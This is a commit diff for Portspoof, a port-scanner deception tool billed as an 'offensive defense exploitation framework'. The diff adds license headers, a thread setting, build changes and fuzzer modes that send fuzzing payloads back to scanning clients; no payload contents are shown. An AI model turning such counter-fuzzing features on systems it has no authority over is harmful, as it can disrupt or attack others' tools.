This commit is contained in:
Piotr 2013-07-10 13:59:35 +02:00
parent bd1f2c2b35
commit ffecb5aef4
23 changed files with 736 additions and 394 deletions

@ -1,3 +1,40 @@
/*
* Portspoof - Service Signature Emulator / Offesnsive Defense Exploitation Framework
* Copyright (C) 12012 Piotr Duszyński <piotr[at]duszynski.eu>
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the
* Free Software Foundation; either version 2 of the License, or (at your
* option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
* See the GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, see <http://www.gnu.org/licenses>.
*
* Linking portspoof statically or dynamically with other modules is making
* a combined work based on Portspoof. Thus, the terms and conditions of
* the GNU General Public License cover the whole combination.
*
* In addition, as a special exception, the copyright holder of Portspoof
* gives you permission to combine Portspoof with free software programs or
* libraries that are released under the GNU LGPL. You may copy
* and distribute such a system following the terms of the GNU GPL for
* Portspoof and the licenses of the other code concerned.
*
* Note that people who make modified versions of Portspoof are not obligated
* to grant this special exception for their modified versions; it is their
* choice whether to do so. The GNU General Public License gives permission
* to release a modified version without this exception; this exception
* also makes it possible to release a modified version which carries
* forward this exception.
*/
#include "Configuration.h" #include "Configuration.h"
Configuration::Configuration() Configuration::Configuration()
@ -10,6 +47,7 @@ Configuration::Configuration()
opts=0; opts=0;
nmapfuzzsignatures_file = std::string(NMAP_FUZZ_FILE_SIG); nmapfuzzsignatures_file = std::string(NMAP_FUZZ_FILE_SIG);
fuzzpayload_file = std::string(FUZZ_FILE_PAYLOAD); fuzzpayload_file = std::string(FUZZ_FILE_PAYLOAD);
thread_number=MAX_THREADS;
return; return;
} }
@ -22,17 +60,19 @@ bool Configuration::getConfigValue(int value)
void Configuration::usage(void) void Configuration::usage(void)
{ {
fprintf(stdout,"Usage: portspoof [OPTION]...\n" fprintf(stdout,"Usage: portspoof [OPTION]...\n"
"Portspoof - service signature obfuscator.\n\n" "Portspoof - service signature emulator / exploitation framework.\n\n"
"-i bind to a user defined IP address\n" "-i Bind to a particular IP address\n"
"-p bind to a user defined PORT number\n" "-p Bind to a particular PORT number\n"
"-s custom signture file\n" "-s Service signture regex. file\n"
"-c configuration file\n" "-c Portspoof configuration file\n"
"-l log port scanning alerts to a file\n" "-l Log port scanning alerts to a file\n"
"-d disable syslog\n" "-d Disable syslog\n"
"-v be verbose\n" "-v Be verbose\n"
"-f read fuzz payload list\n" "-f FUZZER_MODE: fuzzing payload file list \n"
"-1 generate fuzzing payloads\n" "-n FUZZER_MODE: wrapping signatures file list\n"
"-n nmap wrap fuzz signatures\n" "-1 FUZZER_MODE: generate fuzzing payloads internally\n"
"-3 FUZZER_MODE: Random int fuzzing!\n"
"-2 switch to simple reply mode (works for anything apart from Nmap)!\n"
"-h display this help and exit\n\n" "-h display this help and exit\n\n"
"Without any OPTION - use default values and continue\n"); "Without any OPTION - use default values and continue\n");
@ -62,7 +102,7 @@ bool Configuration::processArgs(int argc, char** argv)
case 'c': case 'c':
this->configfile = std::string(optarg); this->configfile = std::string(optarg);
this->opts[OPT_CONFIG_FILE]=1; this->opts[OPT_CONFIG_FILE]=1;
fprintf(stdout,"-> Using user defined regex. signature file %s\n",this->configfile.c_str());
break; break;
case 'v': case 'v':
this->opts[OPT_DEBUG]=1; this->opts[OPT_DEBUG]=1;
@ -76,20 +116,24 @@ bool Configuration::processArgs(int argc, char** argv)
this->opts[OPT_LOG_FILE]=1; this->opts[OPT_LOG_FILE]=1;
this->logfile = std::string(optarg); this->logfile = std::string(optarg);
fprintf(stdout,"-> Using log file %s\n",this->logfile.c_str()); fprintf(stdout,"-> Using log file %s\n",this->logfile.c_str());
//check log file
Utils::log_create(configuration->getLogFile().c_str());
break; break;
case 'f': case 'f':
this->opts[OPT_FUZZ_WORDLIST]=1; this->opts[OPT_FUZZ_WORDLIST]=1;
this->fuzzpayload_file=std::string(optarg); this->fuzzpayload_file=std::string(optarg);
fprintf(stdout,"-> Reading fuzzing payloads from a file!\n"); fprintf(stdout,"-> Reading fuzzing payloads from a file %s!\n",this->fuzzpayload_file.c_str());
break; break;
case 'n': case 'n':
this->opts[OPT_FUZZ_NMAP]=1; this->opts[OPT_FUZZ_NMAP]=1;
this->nmapfuzzsignatures_file=std::string(optarg); this->nmapfuzzsignatures_file=std::string(optarg);
fprintf(stdout,"-> NMAP wrapper mode!\n"); fprintf(stdout,"-> Payload wrapping mode!\n");
break; break;
case '1': case '1':
this->opts[OPT_FUZZ_INTERNAL]=1; this->opts[OPT_FUZZ_INTERNAL]=1;
fprintf(stdout,"-> Generate fuzzing payloads!\n"); fprintf(stdout,"-> Generate fuzzing payloads internally!\n");
break; break;
case '2': case '2':
this->opts[OPT_NOT_NMAP_SCANNER]=1; this->opts[OPT_NOT_NMAP_SCANNER]=1;
@ -116,8 +160,10 @@ bool Configuration::processArgs(int argc, char** argv)
} }
if(this->getConfigValue(OPT_FUZZ_NMAP) ||this->getConfigValue(OPT_FUZZ_WORDLIST) || this->getConfigValue(OPT_FUZZ_INTERNAL)) if(this->getConfigValue(OPT_FUZZ_NMAP) ||this->getConfigValue(OPT_FUZZ_WORDLIST) || this->getConfigValue(OPT_FUZZ_INTERNAL))
{
this->fuzzer=new Fuzzer(this); this->fuzzer=new Fuzzer(this);
this->thread_number=1;
}
return 0; return 0;
} }
@ -155,22 +201,16 @@ unsigned short int Configuration::getPort()
return this->port; return this->port;
} }
int Configuration::getThreadNr()
{
return this->thread_number;
}
std::vector<char> Configuration::mapPort2Signature(unsigned short port) std::vector<char> Configuration::mapPort2Signature(unsigned short port)
{ {
/*
if(this->opts&OPT_FUZZ_WORDLIST
{
std::string input_line;
std::getline(std::cin, input_line);
std::vector<char> result_vector;
for(int i=0; i<input_line.length();i++)
result_vector.push_back(input_line[i]);
return result_vector;
}
*/
if(this->opts[OPT_FUZZ_NMAP] || this->opts[OPT_FUZZ_INTERNAL] || this->opts[OPT_FUZZ_WORDLIST]) if(this->opts[OPT_FUZZ_NMAP] || this->opts[OPT_FUZZ_INTERNAL] || this->opts[OPT_FUZZ_WORDLIST])
{ {
std::vector<char> result_vector; std::vector<char> result_vector;
@ -198,11 +238,11 @@ bool Configuration::processSignatureFile()
fclose(fp); fclose(fp);
// set random mapping // set random mapping
//srand((unsigned)time(0)); srand((unsigned)time(0));
for(int i=0;i<MAX_PORTS;i++) for(int i=0;i<MAX_PORTS;i++)
{ {
//portsignatureemap.insert(make_pair(i,process_signature(rawsignatures[rand()%rawsignatures.size()]))); portsignatureemap.insert(make_pair(i,process_signature(rawsignatures[rand()%rawsignatures.size()])));
portsignatureemap.insert(make_pair(i,process_signature(rawsignatures[i%rawsignatures.size()]))); //portsignatureemap.insert(make_pair(i,process_signature(rawsignatures[i%rawsignatures.size()])));
} }

@ -1,3 +1,40 @@
/*
* PPortspoof - Service Signature Emulator / Offesnsive Defense Exploitation Framework
* Copyright (C) 12012 Piotr Duszyński <piotr[at]duszynski.eu>
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the
* Free Software Foundation; either version 2 of the License, or (at your
* option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
* See the GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, see <http://www.gnu.org/licenses>.
*
* Linking portspoof statically or dynamically with other modules is making
* a combined work based on Portspoof. Thus, the terms and conditions of
* the GNU General Public License cover the whole combination.
*
* In addition, as a special exception, the copyright holder of Portspoof
* gives you permission to combine Portspoof with free software programs or
* libraries that are released under the GNU LGPL. You may copy
* and distribute such a system following the terms of the GNU GPL for
* Portspoof and the licenses of the other code concerned.
*
* Note that people who make modified versions of Portspoof are not obligated
* to grant this special exception for their modified versions; it is their
* choice whether to do so. The GNU General Public License gives permission
* to release a modified version without this exception; this exception
* also makes it possible to release a modified version which carries
* forward this exception.
*/
#ifndef CONFIG_H #ifndef CONFIG_H
#define CONFIG_H #define CONFIG_H
@ -23,8 +60,6 @@
#define MAX_PORTS 65535 #define MAX_PORTS 65535
#define NMAP_FUZZ_FILE_SIG "nmapfuzzsignatures"
#define FUZZ_FILE_PAYLOAD "nmapfuzzpayloads"
#include <string> #include <string>
#include <stdio.h> #include <stdio.h>
@ -39,10 +74,13 @@
#include <ctime> #include <ctime>
#include <bitset> #include <bitset>
#include "revregex.h"
#include "connection.h"
#include "Utils.h" #include "Utils.h"
#include "Threads.h"
#include "revregex.h"
#include "connection.h"
using namespace std; using namespace std;
@ -62,6 +100,7 @@ class Configuration {
std::string logfile; std::string logfile;
std::string bind_ip; std::string bind_ip;
unsigned short int port; unsigned short int port;
int thread_number;
bitset<20> opts; bitset<20> opts;
Fuzzer* fuzzer; Fuzzer* fuzzer;
std::string nmapfuzzsignatures_file; std::string nmapfuzzsignatures_file;
@ -87,6 +126,7 @@ class Configuration {
std::string getFuzzPayloadFile(); std::string getFuzzPayloadFile();
bool getConfigValue(int value); bool getConfigValue(int value);
unsigned short int getPort(); unsigned short int getPort();
int getThreadNr();
}; };

@ -1,3 +1,39 @@
/*
* Portspoof - Service Signature Emulator
* Copyright (C) 12012 Piotr Duszyński <piotr[at]duszynski.eu>
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the
* Free Software Foundation; either version 2 of the License, or (at your
* option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
* See the GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, see <http://www.gnu.org/licenses>.
*
* Linking portspoof statically or dynamically with other modules is making
* a combined work based on Portspoof. Thus, the terms and conditions of
* the GNU General Public License cover the whole combination.
*
* In addition, as a special exception, the copyright holder of Portspoof
* gives you permission to combine Portspoof with free software programs or
* libraries that are released under the GNU LGPL. You may copy
* and distribute such a system following the terms of the GNU GPL for
* Portspoof and the licenses of the other code concerned.
*
* Note that people who make modified versions of Portspoof are not obligated
* to grant this special exception for their modified versions; it is their
* choice whether to do so. The GNU General Public License gives permission
* to release a modified version without this exception; this exception
* also makes it possible to release a modified version which carries
* forward this exception.
*/
#include "Fuzzer.h" #include "Fuzzer.h"
Fuzzer::Fuzzer() Fuzzer::Fuzzer()
@ -79,21 +115,16 @@ std::vector<char> Fuzzer::GenerateFuzzPayload()
std::vector<char> result_vector; std::vector<char> result_vector;
std::string str; std::string str;
/*
for(int i=0;i<255;i++)
result_vector.push_back(i);
return result_vector;
if(this->configuration->getConfigValue(OPT_FUZZ_RANDOM)) if(this->configuration->getConfigValue(OPT_FUZZ_RANDOM))
{ {
this->payload_counter++;
return this->shortToBytes((unsigned short)this->payload_counter); for(int i=0;i<255;i++)
result_vector.push_back(i);
return result_vector;
} }
*/
if(this->payload_counter<10) if(this->payload_counter<10)
{ {
@ -169,14 +200,3 @@ std::vector<char> Fuzzer::GetFUZZ()
} }
/*
std::string input_line;
std::getline(std::cin, input_line);
for(int i=0; i<input_line.length();i++)
result_vector.push_back(input_line[i]);
return result_vector;
*/

@ -1,3 +1,40 @@
/*
* Portspoof - Service Signature Emulator
* Copyright (C) 12012 Piotr Duszyński <piotr[at]duszynski.eu>
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the
* Free Software Foundation; either version 2 of the License, or (at your
* option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
* See the GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, see <http://www.gnu.org/licenses>.
*
* Linking portspoof statically or dynamically with other modules is making
* a combined work based on Portspoof. Thus, the terms and conditions of
* the GNU General Public License cover the whole combination.
*
* In addition, as a special exception, the copyright holder of Portspoof
* gives you permission to combine Portspoof with free software programs or
* libraries that are released under the GNU LGPL. You may copy
* and distribute such a system following the terms of the GNU GPL for
* Portspoof and the licenses of the other code concerned.
*
* Note that people who make modified versions of Portspoof are not obligated
* to grant this special exception for their modified versions; it is their
* choice whether to do so. The GNU General Public License gives permission
* to release a modified version without this exception; this exception
* also makes it possible to release a modified version which carries
* forward this exception.
*/
#ifndef FUZZER_H #ifndef FUZZER_H
#define FUZZER_H #define FUZZER_H
@ -24,6 +61,8 @@
using namespace std; using namespace std;
#define NMAP_FUZZ_FILE_SIG "nmapfuzzsignatures"
#define FUZZ_FILE_PAYLOAD "nmapfuzzpayloads"
static const char* const fuzz_oracle[]= static const char* const fuzz_oracle[]=
{ {

@ -1,8 +1,8 @@
## Process this file with automake to produce Makefile.in ## Process this file with automake to produce Makefile.in
# File lists # File lists
headers = connection.h portspoof.h revregex.h threads.h log.h config_file.h headers = config.h Configuration.h connection.h Fuzzer.h Server.h revregex.h Threads.h Utils.h
sources = connection.c portspoof.c revregex.c log.c config_file.c sources = Configuration.cpp connection.cpp Fuzzer.cpp Portspoof.cpp Server.cpp revregex.cpp Utils.cpp
# Unix executables # Unix executables
bin_PROGRAMS = portspoof bin_PROGRAMS = portspoof

@ -1,8 +1,9 @@
# Makefile.in generated by automake 1.10 from Makefile.am. # Makefile.in generated by automake 1.11.1 from Makefile.am.
# @configure_input@ # @configure_input@
# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, # Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
# 2003, 2004, 2005, 2006 Free Software Foundation, Inc. # 2003, 2004, 2005, 2006, 2007, 2008, 2009 Free Software Foundation,
# Inc.
# This Makefile.in is free software; the Free Software Foundation # This Makefile.in is free software; the Free Software Foundation
# gives unlimited permission to copy and/or distribute it, # gives unlimited permission to copy and/or distribute it,
# with or without modifications, as long as this notice is preserved. # with or without modifications, as long as this notice is preserved.
@ -16,8 +17,9 @@
VPATH = @srcdir@ VPATH = @srcdir@
pkgdatadir = $(datadir)/@PACKAGE@ pkgdatadir = $(datadir)/@PACKAGE@
pkglibdir = $(libdir)/@PACKAGE@
pkgincludedir = $(includedir)/@PACKAGE@ pkgincludedir = $(includedir)/@PACKAGE@
pkglibdir = $(libdir)/@PACKAGE@
pkglibexecdir = $(libexecdir)/@PACKAGE@
am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd
install_sh_DATA = $(install_sh) -c -m 644 install_sh_DATA = $(install_sh) -c -m 644
install_sh_PROGRAM = $(install_sh) -c install_sh_PROGRAM = $(install_sh) -c
@ -43,21 +45,28 @@ am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \
mkinstalldirs = $(install_sh) -d mkinstalldirs = $(install_sh) -d
CONFIG_HEADER = config.h CONFIG_HEADER = config.h
CONFIG_CLEAN_FILES = CONFIG_CLEAN_FILES =
CONFIG_CLEAN_VPATH_FILES =
am__installdirs = "$(DESTDIR)$(bindir)" am__installdirs = "$(DESTDIR)$(bindir)"
binPROGRAMS_INSTALL = $(INSTALL_PROGRAM)
PROGRAMS = $(bin_PROGRAMS) PROGRAMS = $(bin_PROGRAMS)
am__objects_1 = am__objects_1 =
am__objects_2 = portspoof-connection.$(OBJEXT) \ am__objects_2 = portspoof-Configuration.$(OBJEXT) \
portspoof-portspoof.$(OBJEXT) portspoof-revregex.$(OBJEXT) \ portspoof-connection.$(OBJEXT) portspoof-Fuzzer.$(OBJEXT) \
portspoof-log.$(OBJEXT) portspoof-config_file.$(OBJEXT) portspoof-log.$(OBJEXT) portspoof-portspoof.$(OBJEXT) \
portspoof-revregex.$(OBJEXT) portspoof-Utils.$(OBJEXT)
am_portspoof_OBJECTS = $(am__objects_1) $(am__objects_2) am_portspoof_OBJECTS = $(am__objects_1) $(am__objects_2)
portspoof_OBJECTS = $(am_portspoof_OBJECTS) portspoof_OBJECTS = $(am_portspoof_OBJECTS)
portspoof_LDADD = $(LDADD) portspoof_LDADD = $(LDADD)
portspoof_LINK = $(CCLD) $(AM_CFLAGS) $(CFLAGS) $(portspoof_LDFLAGS) \ portspoof_LINK = $(CXXLD) $(AM_CXXFLAGS) $(CXXFLAGS) \
$(LDFLAGS) -o $@ $(portspoof_LDFLAGS) $(LDFLAGS) -o $@
DEFAULT_INCLUDES = -I.@am__isrc@ DEFAULT_INCLUDES = -I.@am__isrc@
depcomp = $(SHELL) $(top_srcdir)/auto/depcomp depcomp = $(SHELL) $(top_srcdir)/auto/depcomp
am__depfiles_maybe = depfiles am__depfiles_maybe = depfiles
am__mv = mv -f
CXXCOMPILE = $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) \
$(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS)
CXXLD = $(CXX)
CXXLINK = $(CXXLD) $(AM_CXXFLAGS) $(CXXFLAGS) $(AM_LDFLAGS) $(LDFLAGS) \
-o $@
COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \ COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \
$(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS)
CCLD = $(CC) CCLD = $(CC)
@ -78,6 +87,9 @@ CCDEPMODE = @CCDEPMODE@
CFLAGS = @CFLAGS@ CFLAGS = @CFLAGS@
CPP = @CPP@ CPP = @CPP@
CPPFLAGS = @CPPFLAGS@ CPPFLAGS = @CPPFLAGS@
CXX = @CXX@
CXXDEPMODE = @CXXDEPMODE@
CXXFLAGS = @CXXFLAGS@
CYGPATH_W = @CYGPATH_W@ CYGPATH_W = @CYGPATH_W@
DEFS = @DEFS@ DEFS = @DEFS@
DEPDIR = @DEPDIR@ DEPDIR = @DEPDIR@
@ -104,6 +116,7 @@ PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@
PACKAGE_NAME = @PACKAGE_NAME@ PACKAGE_NAME = @PACKAGE_NAME@
PACKAGE_STRING = @PACKAGE_STRING@ PACKAGE_STRING = @PACKAGE_STRING@
PACKAGE_TARNAME = @PACKAGE_TARNAME@ PACKAGE_TARNAME = @PACKAGE_TARNAME@
PACKAGE_URL = @PACKAGE_URL@
PACKAGE_VERSION = @PACKAGE_VERSION@ PACKAGE_VERSION = @PACKAGE_VERSION@
PATH_SEPARATOR = @PATH_SEPARATOR@ PATH_SEPARATOR = @PATH_SEPARATOR@
SET_MAKE = @SET_MAKE@ SET_MAKE = @SET_MAKE@
@ -115,6 +128,7 @@ abs_srcdir = @abs_srcdir@
abs_top_builddir = @abs_top_builddir@ abs_top_builddir = @abs_top_builddir@
abs_top_srcdir = @abs_top_srcdir@ abs_top_srcdir = @abs_top_srcdir@
ac_ct_CC = @ac_ct_CC@ ac_ct_CC = @ac_ct_CC@
ac_ct_CXX = @ac_ct_CXX@
am__include = @am__include@ am__include = @am__include@
am__leading_dot = @am__leading_dot@ am__leading_dot = @am__leading_dot@
am__quote = @am__quote@ am__quote = @am__quote@
@ -157,12 +171,13 @@ sharedstatedir = @sharedstatedir@
srcdir = @srcdir@ srcdir = @srcdir@
sysconfdir = @sysconfdir@ sysconfdir = @sysconfdir@
target_alias = @target_alias@ target_alias = @target_alias@
top_build_prefix = @top_build_prefix@
top_builddir = @top_builddir@ top_builddir = @top_builddir@
top_srcdir = @top_srcdir@ top_srcdir = @top_srcdir@
# File lists # File lists
headers = connection.h portspoof.h revregex.h threads.h log.h config_file.h headers = config_file.h config.h Configuration.h connection.h Fuzzer.h log.h portspoof.h revregex.h Threads.h Utils.h
sources = connection.c portspoof.c revregex.c log.c config_file.c sources = Configuration.cpp connection.cpp Fuzzer.cpp log.cpp portspoof.cpp revregex.cpp Utils.cpp
portspoof_SOURCES = $(headers) $(sources) portspoof_SOURCES = $(headers) $(sources)
# Threads # Threads
@ -174,19 +189,19 @@ all: config.h
$(MAKE) $(AM_MAKEFLAGS) all-am $(MAKE) $(AM_MAKEFLAGS) all-am
.SUFFIXES: .SUFFIXES:
.SUFFIXES: .c .o .obj .SUFFIXES: .cpp .o .obj
$(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(am__configure_deps) $(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(am__configure_deps)
@for dep in $?; do \ @for dep in $?; do \
case '$(am__configure_deps)' in \ case '$(am__configure_deps)' in \
*$$dep*) \ *$$dep*) \
cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh \ ( cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh ) \
&& exit 0; \ && { if test -f $@; then exit 0; else break; fi; }; \
exit 1;; \ exit 1;; \
esac; \ esac; \
done; \ done; \
echo ' cd $(top_srcdir) && $(AUTOMAKE) --gnu src/Makefile'; \ echo ' cd $(top_srcdir) && $(AUTOMAKE) --gnu src/Makefile'; \
cd $(top_srcdir) && \ $(am__cd) $(top_srcdir) && \
$(AUTOMAKE) --gnu src/Makefile $(AUTOMAKE) --gnu src/Makefile
.PRECIOUS: Makefile .PRECIOUS: Makefile
Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status
@case '$?' in \ @case '$?' in \
@ -204,6 +219,7 @@ $(top_srcdir)/configure: $(am__configure_deps)
cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
$(ACLOCAL_M4): $(am__aclocal_m4_deps) $(ACLOCAL_M4): $(am__aclocal_m4_deps)
cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
$(am__aclocal_m4_deps):
config.h: stamp-h1 config.h: stamp-h1
@if test ! -f $@; then \ @if test ! -f $@; then \
@ -215,7 +231,7 @@ stamp-h1: $(srcdir)/config.h.in $(top_builddir)/config.status
@rm -f stamp-h1 @rm -f stamp-h1
cd $(top_builddir) && $(SHELL) ./config.status src/config.h cd $(top_builddir) && $(SHELL) ./config.status src/config.h
$(srcdir)/config.h.in: $(am__configure_deps) $(srcdir)/config.h.in: $(am__configure_deps)
cd $(top_srcdir) && $(AUTOHEADER) ($(am__cd) $(top_srcdir) && $(AUTOHEADER))
rm -f stamp-h1 rm -f stamp-h1
touch $@ touch $@
@ -224,23 +240,37 @@ distclean-hdr:
install-binPROGRAMS: $(bin_PROGRAMS) install-binPROGRAMS: $(bin_PROGRAMS)
@$(NORMAL_INSTALL) @$(NORMAL_INSTALL)
test -z "$(bindir)" || $(MKDIR_P) "$(DESTDIR)$(bindir)" test -z "$(bindir)" || $(MKDIR_P) "$(DESTDIR)$(bindir)"
@list='$(bin_PROGRAMS)'; for p in $$list; do \ @list='$(bin_PROGRAMS)'; test -n "$(bindir)" || list=; \
p1=`echo $$p|sed 's/$(EXEEXT)$$//'`; \ for p in $$list; do echo "$$p $$p"; done | \
if test -f $$p \ sed 's/$(EXEEXT)$$//' | \
; then \ while read p p1; do if test -f $$p; \
f=`echo "$$p1" | sed 's,^.*/,,;$(transform);s/$$/$(EXEEXT)/'`; \ then echo "$$p"; echo "$$p"; else :; fi; \
echo " $(INSTALL_PROGRAM_ENV) $(binPROGRAMS_INSTALL) '$$p' '$(DESTDIR)$(bindir)/$$f'"; \ done | \
$(INSTALL_PROGRAM_ENV) $(binPROGRAMS_INSTALL) "$$p" "$(DESTDIR)$(bindir)/$$f" || exit 1; \ sed -e 'p;s,.*/,,;n;h' -e 's|.*|.|' \
else :; fi; \ -e 'p;x;s,.*/,,;s/$(EXEEXT)$$//;$(transform);s/$$/$(EXEEXT)/' | \
done sed 'N;N;N;s,\n, ,g' | \
$(AWK) 'BEGIN { files["."] = ""; dirs["."] = 1 } \
{ d=$$3; if (dirs[d] != 1) { print "d", d; dirs[d] = 1 } \
if ($$2 == $$4) files[d] = files[d] " " $$1; \
else { print "f", $$3 "/" $$4, $$1; } } \
END { for (d in files) print "f", d, files[d] }' | \
while read type dir files; do \
if test "$$dir" = .; then dir=; else dir=/$$dir; fi; \
test -z "$$files" || { \
echo " $(INSTALL_PROGRAM_ENV) $(INSTALL_PROGRAM) $$files '$(DESTDIR)$(bindir)$$dir'"; \
$(INSTALL_PROGRAM_ENV) $(INSTALL_PROGRAM) $$files "$(DESTDIR)$(bindir)$$dir" || exit $$?; \
} \
; done
uninstall-binPROGRAMS: uninstall-binPROGRAMS:
@$(NORMAL_UNINSTALL) @$(NORMAL_UNINSTALL)
@list='$(bin_PROGRAMS)'; for p in $$list; do \ @list='$(bin_PROGRAMS)'; test -n "$(bindir)" || list=; \
f=`echo "$$p" | sed 's,^.*/,,;s/$(EXEEXT)$$//;$(transform);s/$$/$(EXEEXT)/'`; \ files=`for p in $$list; do echo "$$p"; done | \
echo " rm -f '$(DESTDIR)$(bindir)/$$f'"; \ sed -e 'h;s,^.*/,,;s/$(EXEEXT)$$//;$(transform)' \
rm -f "$(DESTDIR)$(bindir)/$$f"; \ -e 's/$$/$(EXEEXT)/' `; \
done test -n "$$list" || exit 0; \
echo " ( cd '$(DESTDIR)$(bindir)' && rm -f" $$files ")"; \
cd "$(DESTDIR)$(bindir)" && rm -f $$files
clean-binPROGRAMS: clean-binPROGRAMS:
-test -z "$(bin_PROGRAMS)" || rm -f $(bin_PROGRAMS) -test -z "$(bin_PROGRAMS)" || rm -f $(bin_PROGRAMS)
@ -254,140 +284,174 @@ mostlyclean-compile:
distclean-compile: distclean-compile:
-rm -f *.tab.c -rm -f *.tab.c
@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/portspoof-config_file.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/portspoof-Configuration.Po@am__quote@
@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/portspoof-Fuzzer.Po@am__quote@
@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/portspoof-Utils.Po@am__quote@
@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/portspoof-connection.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/portspoof-connection.Po@am__quote@
@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/portspoof-log.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/portspoof-log.Po@am__quote@
@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/portspoof-portspoof.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/portspoof-portspoof.Po@am__quote@
@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/portspoof-revregex.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/portspoof-revregex.Po@am__quote@
.c.o: .cpp.o:
@am__fastdepCC_TRUE@ $(COMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ $< @am__fastdepCXX_TRUE@ $(CXXCOMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ $<
@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/$*.Tpo $(DEPDIR)/$*.Po @am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/$*.Tpo $(DEPDIR)/$*.Po
@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='$<' object='$@' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='$<' object='$@' libtool=no @AMDEPBACKSLASH@
@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
@am__fastdepCC_FALSE@ $(COMPILE) -c $< @am__fastdepCXX_FALSE@ $(CXXCOMPILE) -c -o $@ $<
.c.obj: .cpp.obj:
@am__fastdepCC_TRUE@ $(COMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ `$(CYGPATH_W) '$<'` @am__fastdepCXX_TRUE@ $(CXXCOMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ `$(CYGPATH_W) '$<'`
@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/$*.Tpo $(DEPDIR)/$*.Po @am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/$*.Tpo $(DEPDIR)/$*.Po
@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='$<' object='$@' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='$<' object='$@' libtool=no @AMDEPBACKSLASH@
@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
@am__fastdepCC_FALSE@ $(COMPILE) -c `$(CYGPATH_W) '$<'` @am__fastdepCXX_FALSE@ $(CXXCOMPILE) -c -o $@ `$(CYGPATH_W) '$<'`
